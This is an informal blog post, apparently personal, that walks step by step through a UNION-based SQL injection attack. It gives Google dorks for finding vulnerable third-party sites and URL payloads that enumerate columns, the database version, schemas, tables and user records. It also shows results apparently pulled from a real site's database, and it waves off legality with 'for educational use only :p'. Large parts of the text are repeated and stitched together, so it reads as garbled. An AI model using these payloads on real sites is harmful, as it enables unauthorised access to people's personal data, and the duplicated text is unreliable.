Hey guys! this time I am going to discuss about sql injection
. I had been coming across this word alot lately and m sure u too must have. I saw a post about it and then carried it out. It is a bit time taking and frustrating,but the results are good
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.
Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
or u can google "google dorks " for a full list.
How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
http://www.xyz.com/index.php?catid=1
Add a ' (apos) at the end of the URL. Such that the URL looks like
http://www.xyz.com/index.php?catid=1'
If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.
Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
or u can google "google dorks " for a full list.
How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
http://www.xyz.com/index.php?catid=1
Add a ' (apos) at the end of the URL. Such that the URL looks like
http://www.xyz.com/index.php?catid=1'
If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.
Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.
Append an 'order by' statement to the URL.
eg. http://www.xyz.com/index.php?catid=1 order by 1
Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.
Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. http://www.xyz.com/index.php?catid=-1 union select 1,2,3,4,5,6
Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.
Step 3: Enumerating the SQL version
We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.
eg. http://www.xyz.com/index.php?catid=-1 union select 1,@@version,3,4,5,6
You'll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.
Step 4: Expolit
To get list of databases:
http://www.xyz.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--
Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.
Result: information_schema,vrk_mlm
To know the current database in use:
http://www.xyz.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--
Result: vrk_mlm
To get the current user:
http://www.xyz.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--
Result: vrk_4mlm@localhost
To get the tables:
http://www.xyz.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
Result: administrator,category,product,users
We'll concentrate our attack on the users table.
To get the columns:
http://www.xyz.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address
By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.
Extract information:
union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_id,0
x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users--
P.S: it is illegal to access someone's private data. for educational use only :p
. I had been coming across this word alot lately and m sure u too must have. I saw a post about it and then carried it out. It is a bit time taking and frustrating,but the results are good
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.
Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
or u can google "google dorks " for a full list.
How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
http://www.xyz.com/index.php?catid=1
Add a ' (apos) at the end of the URL. Such that the URL looks like
http://www.xyz.com/index.php?catid=1'
If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.
Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
or u can google "google dorks " for a full list.
How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
http://www.xyz.com/index.php?catid=1
Add a ' (apos) at the end of the URL. Such that the URL looks like
http://www.xyz.com/index.php?catid=1'
If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.
Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.
Append an 'order by' statement to the URL.
eg. http://www.xyz.com/index.php?catid=1 order by 1
Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.
Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. http://www.xyz.com/index.php?catid=-1 union select 1,2,3,4,5,6
Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.
Step 3: Enumerating the SQL version
We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.
eg. http://www.xyz.com/index.php?catid=-1 union select 1,@@version,3,4,5,6
You'll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.
Step 4: Expolit
To get list of databases:
http://www.xyz.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--
Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.
Result: information_schema,vrk_mlm
To know the current database in use:
http://www.xyz.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--
Result: vrk_mlm
To get the current user:
http://www.xyz.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--
Result: vrk_4mlm@localhost
To get the tables:
http://www.xyz.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
Result: administrator,category,product,users
We'll concentrate our attack on the users table.
To get the columns:
http://www.xyz.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address
By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.
Extract information:
union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_id,0
x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users--
P.S: it is illegal to access someone's private data. for educational use only :p
0 comments:
Post a Comment
waddya think?